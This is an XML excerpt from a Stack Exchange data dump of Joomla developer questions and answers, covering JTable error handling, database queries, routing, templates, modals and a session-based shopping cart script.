  <row Id="22370" PostTypeId="2" ParentId="22369" CreationDate="2018-02-04T08:22:46.070" Score="0" Body="&lt;p&gt;The problem is that the &lt;code&gt;JModelAdmin&lt;/code&gt; &lt;code&gt;save()&lt;/code&gt; method will display its own error messages. Regarding JTable's check method, it expects to return &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; from it, and accordingly either continue with its save execution, or return false and set an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the error message that will show, it will use JTable's getError() method: &lt;code&gt;$table-&amp;gt;getError()&lt;/code&gt; to retrieve the relative error message that should have been set in JTable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the right way to display errors in JTable's &lt;code&gt;check()&lt;/code&gt;, is to use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($error)&#xA;{&#xA;    $this-&amp;gt;setError(JText::_('SOME_ERROR_OCCURRED'));&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-02-04T08:22:46.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22371" PostTypeId="1" AcceptedAnswerId="22374" CreationDate="2018-02-04T13:28:58.590" Score="2" ViewCount="250" Body="&lt;p&gt;Someone built a site using joomla and third party plugin RS Forms Pro and created a page where a client could configure and purchase a product (via stripe). But they have asked me to write some scripts that allows them to create a basket system so clients can buy multiple products at once without entering their card details each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have years of php/js experience but have never worked with a system like joomla. RSForms Pro allows me to attach javascripts and attributes to form items so this looked very easy and the JS part has indeed been simple. However, I wrote a small PHP shopping cart designed to be interfaced via GET url params and there is no where on the webserver I can place it where attempting an ajax request does not cause a 403 forbidden error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the path of least resistance is to get the php api I've written into the joomla ecosystem in a way that will allow me to talk with it properly from within RSForms pages? Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT for functional details:&#xA;The php script I wrote stores item data (class objects in this case) in a php session, it's essentially a simple session cart. The script itself expects to find instructions passed via URL, such as script.php?additem&amp;amp;itemdata=foobar which the script reads from the standard $_GET array. The script echo's a result which can either be some requested data, a confirmation or an error string - in all cases designed to be processed by the calling javascript.&lt;/p&gt;&#xA;" OwnerUserId="12191" LastEditorUserId="12191" LastEditDate="2018-02-04T22:57:13.223" LastActivityDate="2018-02-04T22:57:13.223" Title="Accessing ajax/REST based php api" Tags="|php|ajax|restful-api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22372" PostTypeId="1" CreationDate="2018-02-04T13:46:42.163" Score="0" ViewCount="934" Body="&lt;p&gt;I'm trying to write this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET @rownumber = 0;&#xA;UPDATE #__hikers SET rank = (@rownumber:=@rownumber+1)&#xA;ORDER BY score DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like JDatabaseQuery, but still got an error. Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I tried this &#xA;code 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;set($db-&amp;gt;quote(@rownumber = 0));&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__hikers'));&#xA;$query-&amp;gt;set($db-&amp;gt;quoteName('rank') . ' = ' .$db-&amp;gt;quote(@rownumber:=@rownumber+1));&#xA;$query-&amp;gt;order('score DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;set($db-&amp;gt;quote(@rownumber).' = '.$db-&amp;gt;quote (0));&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__hikers'));&#xA;$query-&amp;gt;set($db-&amp;gt;quoteName('rank') .' = '.$db-&amp;gt;quote(@rownumber).' = '. $db-&amp;gt;quote(@rownumber).' + '. $db-&amp;gt;quote(1));&#xA;$query-&amp;gt;order('score DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11762" LastEditorUserId="12352" LastEditDate="2018-11-29T12:02:03.470" LastActivityDate="2019-01-20T04:09:10.023" Title="How to SET a user-defined MySQL variable and increment it to produce ranking values with JDatabaseQuery?" Tags="|mysql|jdatabase|sql|variable|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22373" PostTypeId="1" CreationDate="2018-02-04T16:41:30.330" Score="0" ViewCount="561" Body="&lt;p&gt;After an update of few components and Joomla some of front-end users noticed that when inside article's creation clicking on &quot;Introduction image&quot; shows a modal (/index.php?option=com_media&amp;amp;view=images&amp;amp;tmpl=component&amp;amp;asset=com_content&amp;amp;author=created_by&amp;amp;fieldid=jform_images_image_intro&amp;amp;folder=) with all messy stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0Eizi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Eizi.png&quot; alt=&quot;Joomla Sbox messy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get any console particular errors of missing CSS or other stuff, i would like to beautify that page, but would need to put some particular class on body class to override the background. How could I do that?&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2024-04-05T06:06:20.833" Title="How to style a page inside s-box popup" Tags="|joomla-3.x|css|modal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22374" PostTypeId="2" ParentId="22371" CreationDate="2018-02-04T21:59:02.117" Score="1" Body="&lt;p&gt;We have minimum information about how you have implemented all the above, however, I guess that you have created a php script somewhere that won't be executed/accessed from within Joomla's execution flow, but you are calling it directly. Right? In this case, you skip Joomla, the 403 error you get isn't coming from Joomla. Most likely this is a security restriction (access forbidden error) from your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually this comes either from directives in the .htaccess file - e.g. restricting the direct access/execution of php files, or by other security mechanisms/firewalls e.g. mod_security - which has become a standard in many hosting environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for if you wanted to go fully the Joomla way, you would want to write a Joomla extension for your application.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-02-04T21:59:02.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22375" PostTypeId="2" ParentId="22373" CreationDate="2018-02-04T23:30:38.860" Score="0" Body="&lt;p&gt;All of those key=value pairs in the url are available from the jinput thus you could use a system plugin to add a specific style sheet to add styles. Or you could modify your template's component.php file to add a body class and then use that in your regular style sheet.  The later is fine if you never update that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, read through both of these for useful examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5398/adding-custom-css-styling-on-some-of-my-pages&quot;&gt;Adding custom CSS styling on some of my pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21462/how-to-add-custom-js-css-file-without-modifying-the-template-from-extension&quot;&gt;How to add custom JS/CSS file, without modifying the template (from extension)?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-02-04T23:30:38.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22376" PostTypeId="1" CreationDate="2018-02-05T07:01:57.353" Score="1" ViewCount="1601" Body="&lt;p&gt;I would appreciate some help with the following. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two customfields with ID &quot;6&quot; and &quot;7&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the customfield_value for customfield(6), only when a specific condition for customfield(7) is met. So it must display the data from customfield(6) only if customfield(7) is a certain value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have wrote, but it is not working(only gives me blank on loading the data):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('customfield_value', 'virtuemart_product_id', 'virtuemart_custom_id')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_virtuemart_product_customfields'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_custom_id'). ' LIKE '. $db-&amp;gt;quote('6'). ' AND '. $db-&amp;gt;quoteName('customfield_value') . ' LIKE '. $db-&amp;gt;quote('Frozen') . ' AND '. $db-&amp;gt;quoteName('virtuemart_product_id'). 'LIKE ' . $db-&amp;gt;quote($product-&amp;gt;virtuemart_product_id));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadResult();&#xA;echo ($results);&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my edited code showing how the table is working right now I only included 4 customfields, as normally there is about 20:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table style=&quot;font-size: 12.5px; width: 100%;&quot; class=&quot;orders&quot;&amp;gt;&#xA;&amp;lt;tr style=&quot;border: 1px solid #ffb3b3;&quot;&amp;gt;&#xA;&amp;lt;th style=&quot;text-align:center;border: 1px solid #ffb3b3;&quot;&amp;gt;Local ICOS&amp;lt;/th&amp;gt;&#xA;&amp;lt;th style=&quot;text-align:center;border: 1px solid #ffb3b3;&quot;&amp;gt;Description&amp;lt;/th&amp;gt;&#xA;&amp;lt;th style=&quot;text-align:center;border: 1px solid #ffb3b3;&quot;&amp;gt;Batch ID&amp;lt;/th&amp;gt;&#xA;&amp;lt;th style=&quot;text-align:center;border: 1px solid #ffb3b3;&quot;&amp;gt;Temp Zone&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;// Start the Output&#xA;foreach ( $this-&amp;gt;products as $product ) {&#xA;&#xA;    // Show the horizontal seperator&#xA;    if ($iBrowseCol == 1 &amp;amp;&amp;amp; $iBrowseProduct &amp;gt; $BrowseProducts_per_row) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;horizontal-separator&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;tr style=&quot;border-bottom: 1px solid #ffb3b3; height: 30px; display:;&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- ICOS --&amp;gt;&#xA;&amp;lt;td style=&quot;width: 80px;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('customfield_value', 'virtuemart_product_id')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_virtuemart_product_customfields'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_custom_id') . ' LIKE '. $db-&amp;gt;quote('5'). ' AND '. $db-&amp;gt;quoteName('virtuemart_product_id') . 'LIKE ' . $db-&amp;gt;quote($product-&amp;gt;virtuemart_product_id));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadResult();&#xA;echo ($results); &#xA; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;!-- Description --&amp;gt;&#xA;&amp;lt;td style=&quot;padding-left: 10px;width: 300px; color: #ff3333;&quot;&amp;gt;&#xA;&amp;lt;?php  echo $product-&amp;gt;product_name; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;!-- BATCH ID (SKU) --&amp;gt;&#xA;&amp;lt;td style=&quot;width: 80px;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('customfield_value', 'virtuemart_product_id')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_virtuemart_product_customfields'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_custom_id') . ' LIKE '. $db-&amp;gt;quote('6'). ' AND '. $db-&amp;gt;quoteName('virtuemart_product_id') . 'LIKE ' . $db-&amp;gt;quote($product-&amp;gt;virtuemart_product_id));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadResult();&#xA;echo ($results); &#xA; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;!-- Temp Zone --&amp;gt;&#xA;&amp;lt;td style=&quot;width: 80px;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('customfield_value', 'virtuemart_product_id')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_virtuemart_product_customfields'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_custom_id') . ' LIKE '. $db-&amp;gt;quote('21'). ' AND '. $db-&amp;gt;quoteName('virtuemart_product_id') . 'LIKE ' . $db-&amp;gt;quote($product-&amp;gt;virtuemart_product_id));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadResult();&#xA;echo ($results); &#xA; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok. I have a dropdown with &quot;Frozen&quot; as an option. When I select &quot;Frozen&quot;, only products with the Temp Zone &quot;Frozen&quot; must be shown. In each  I will need to put a piece of code to show the information depending on the dropdown selection.&lt;/p&gt;&#xA;" OwnerUserId="9578" LastEditorUserId="9578" LastEditDate="2018-02-06T11:00:27.570" LastActivityDate="2018-06-06T12:43:29.853" Title="Display data based on multiple where clause?" Tags="|joomla-3.x|php|virtuemart|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22377" PostTypeId="2" ParentId="21703" CreationDate="2018-02-05T08:51:53.693" Score="0" Body="&lt;p&gt;In Joomla 3.8.3, it's possible to modify com_content &gt; form &gt; edit ( with override )&#xA;add in line 120 : &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works !&lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2018-02-05T08:51:53.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22379" PostTypeId="2" ParentId="22376" CreationDate="2018-02-05T12:06:48.707" Score="1" Body="&lt;p&gt;Try the following which has some modifications to your query and should hopefully print some data for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn(array('customfield_value', 'virtuemart_product_id', 'virtuemart_custom_id')))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__virtuemart_product_customfields'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('virtuemart_custom_id') . ' = ' . $db-&amp;gt;q('6'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('customfield_value') . ' = ' . $db-&amp;gt;q('Frozen'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('virtuemart_product_id') . '= ' . $db-&amp;gt;q($product-&amp;gt;virtuemart_product_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;var_dump($results);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Correct definition for table name&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;LIKE&lt;/code&gt; with &lt;code&gt;=&lt;/code&gt; as you're not trying to match something similar, but something exact.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;loadObjectList&lt;/code&gt; as you're calling getting data from multiple columns&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-02-05T12:06:48.707" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="22380" PostTypeId="2" ParentId="22373" CreationDate="2018-02-05T15:12:12.140" Score="0" Body="&lt;p&gt;You can do it easy with the old Joomla Core Modal, Bootstrap modal script or the extension Modal from Regular Labs and a little template override in Templates &gt; Templates &gt; Your Template html/com_content/article/default.php If you want to have as an option you can rename it - ex modal.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regular Labs - &lt;a href=&quot;https://www.regularlabs.com/extensions/modals&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bootstrap - &lt;a href=&quot;https://www.spiralscripts.co.uk/support/joomla-tips/modal-windows-in-joomla-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modal&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old &lt;a href=&quot;https://www.spiralscripts.co.uk/support/joomla-tips/using-modal-windows-with-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Core - with mootools&lt;/a&gt; - not expected to work in Joomla 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla - &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;About Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2018-02-05T15:12:12.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22382" PostTypeId="1" AcceptedAnswerId="22403" CreationDate="2018-02-05T17:46:51.173" Score="0" ViewCount="123" Body="&lt;p&gt;I have a bit of a problem, my client has decided to rebrand his website, through which 1000's of listings in Mosets have a default image (which is added to the listing through a chronoform) which shows the old branding. These images are all saved with a different file name in media/com_mtree/images So i'm at a loss as to the best way to update all of these images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to assign a default image to replace these all at once, or will I need to go through 1000's of listings and manually update these images? They are all around the same file size, so is there a program where by I can feed in a load of images and then get them overwritten with a copy of the new version, thus I would not have to do this manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-01-05T18:02:40.590" Title="Mosets Tree - Change default image for 1000's listings" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22384" PostTypeId="1" AcceptedAnswerId="22386" CreationDate="2018-02-05T20:30:34.593" Score="2" ViewCount="279" Body="&lt;p&gt;Does anyone know how to assign a template to a specific component?&#xA;I know I can create menu items and then assign URLs to a template.&#xA;But how can I assign a template (not the default) to a component without menu items?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2018-02-06T18:33:44.280" Title="How to assign template to a component?" Tags="|component|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22385" PostTypeId="1" AcceptedAnswerId="22483" CreationDate="2018-02-05T22:40:29.883" Score="0" ViewCount="803" Body="&lt;p&gt;I am developing my second custom component for Joomla! 3.6.4 and I have another problem with my &lt;code&gt;router.php&lt;/code&gt;. This time I need to dynamically change the view on my &lt;code&gt;router.php&lt;/code&gt; but I don’t know how to do it. On my component, I have four different views, each one of them with a different name, of course. So, I have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View-1 list and View-1 single&lt;/li&gt;&#xA;&lt;li&gt;View-2 list and View-2 single&lt;/li&gt;&#xA;&lt;li&gt;View-3 list and View-3 single&lt;/li&gt;&#xA;&lt;li&gt;View-4 list and View-4 single&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem with my &lt;code&gt;router.php&lt;/code&gt; is that I don’t know how to dynamically change the view on the variable &lt;code&gt;$vars['view'] = &quot;VIEW&quot;;&lt;/code&gt;. The other problem is that I call the component’s links from a module outside a Menu Item, so it is all really complex. However, my question is: How can I pull the view dynamically and then populate the &lt;code&gt;$vars['view']&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;code&gt;router.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ComponentNameRouter extends JComponentRouterBase&#xA;{&#xA;    /**&#xA;     * Build method for URLs&#xA;     * This method is meant to transform the query parameters into a more human&#xA;     * readable form. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;amp;$query  An array of URL arguments&#xA;     *&#xA;     * @return  array  The URL arguments to use to assemble the subsequent URL.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = array();&#xA;&#xA;        if (isset($query['view'])) {&#xA;            unset($query['view']);&#xA;        } &#xA;&#xA;        if(isset($query['id']) &amp;amp;&amp;amp; isset($query['name']))                               &#xA;        {&#xA;            $segments[] = $query['id'].&quot;-&quot;.$query['name'];&#xA;            unset($query['id']);&#xA;            unset($query['name']);  &#xA;        }&#xA;        else if(isset($query['id']))                               &#xA;        {&#xA;            $segments[] = $query['id'];&#xA;            unset($query['id']);&#xA;        }&#xA;        return $segments;&#xA;    }&#xA;&#xA;    /**&#xA;     * Parse method for URLs&#xA;     * This method is meant to transform the human readable URL back into&#xA;     * query parameters. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;amp;$segments  The segments of the URL to parse.&#xA;     *&#xA;     * @return  array  The URL attributes to be used by the application.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $vars = array();&#xA;        $vars['view'] = &quot;name-of-ONE-of-the-view&quot;;    &#xA;        $aux = explode(&quot;:&quot;,$segments[0]);     &#xA;        $vars['id'] = $aux[0];    &#xA;        return $vars;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S.&lt;/em&gt; Since the name of the views are the same as the parameters I use to change the module layouts, I tried to access the params and then echo the current one on &lt;code&gt;$vars['view']&lt;/code&gt; but it did not work, unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="12138" LastEditorUserId="11451" LastEditDate="2018-03-01T08:53:46.710" LastActivityDate="2018-03-01T10:46:22.287" Title="Different views on router.php (Joomla! 3.6.4)" Tags="|joomla-3.x|custom-component|sef|custom-module|jroute|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22386" PostTypeId="2" ParentId="22384" CreationDate="2018-02-05T22:58:54.287" Score="1" Body="&lt;p&gt;I think this isn't possible out of the box. I can imagine such a functionality can easily be added by a custom plugin which checks the current component and then set the required template.&lt;/p&gt;&#xA;" OwnerUserId="12201" LastActivityDate="2018-02-05T22:58:54.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22388" PostTypeId="1" CreationDate="2018-02-06T06:00:51.123" Score="0" ViewCount="1607" Body="&lt;p&gt;Using Joomla 3.8.5. Using the Menu Category Blog I've been able to list the Category title as a heading, and the Articles in blog layout style with two columns for the Articles using a Read More when needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do the above with sub-categories but can't seem to figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want the desired output to look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Category Title&#xA;The description of the main category title's purpose goes here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Sub-Category Title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First title of the Article in this Sub-Category&#xA;Contents of the First Article in this Sub-Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second title of the Article in this Sub-Category&#xA;Contents of the Second Article in this Sub-Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second Sub-Category Title&#xA;First title of the Article in this Second Sub-Category&#xA;Contents of the First Article in this Second Sub-Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;em&gt;Articles - Category&lt;/em&gt; module to list the above, but it only contains the links to the Articles. I want the Category Blog to apply to the Sub-Categories too.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2018-02-06T16:23:27.217" LastActivityDate="2024-03-15T23:05:10.573" Title="How to list a Category Blog and sub-categories with Articles still in Category Blog layout?" Tags="|joomla-3.x|category-blog|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22390" PostTypeId="2" ParentId="18071" CreationDate="2018-02-06T12:42:11.653" Score="1" Body="&lt;p&gt;It looks like leftovers from rebuilding the registration process. If you look closer it doesn't return in the code a proper message that depends on the activation method (admin, self, auto). And by the fact it was removed in the later versions I can safely assume it was a security/spam risk. So if you're still using the 3.6 version it would be good idea to update it, if not, you have nothing to worry about regarding this &lt;code&gt;UsersControllerUser::register()&lt;/code&gt; task.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2018-02-06T12:42:11.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22391" PostTypeId="2" ParentId="22384" CreationDate="2018-02-06T18:33:44.280" Score="1" Body="&lt;p&gt;You can use this:&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/advancedtemplatemanager&lt;/a&gt;&#xA;but not work with all Joomla template framewoek such as Gantry&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2018-02-06T18:33:44.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22394" PostTypeId="2" ParentId="21754" CreationDate="2018-02-07T21:03:02.367" Score="1" Body="&lt;p&gt;Once a user recomend to me build a development environment using Ant&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18001/how-to-version-a-joomla-component&quot;&gt;How to version a Joomla component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can build a structure usint git submodules. Where the project will be split in the joomla folders, and somewhere you'll keep a master git project for each components with all the submodules togheter. This will become the zip file&lt;/p&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2018-02-07T21:03:02.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22395" PostTypeId="1" CreationDate="2018-02-08T07:45:53.880" Score="0" ViewCount="444" Body="&lt;p&gt;I have a Joomla site which shows coming soon template if the user goes to the page &lt;a href=&quot;https://mysite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like a way to bypass the coming soon page by adding a parameter to the URL. For example, if the site visitor types &lt;a href=&quot;https://mysite.com?pass&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com?pass&lt;/a&gt; then they'll be able to see the original template and not the coming soon page. In my template php file, I've been able to do that using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['pass'])) {&#xA;// show template instead of coming soon page&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works in showing the home page, but if I navigate to another page, I still see the coming soon page, so I'd like to pass the variable 'pass' to all the other urls. How can I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="12212" LastActivityDate="2018-04-10T01:34:50.647" Title="Set a parameter from path to each URL" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
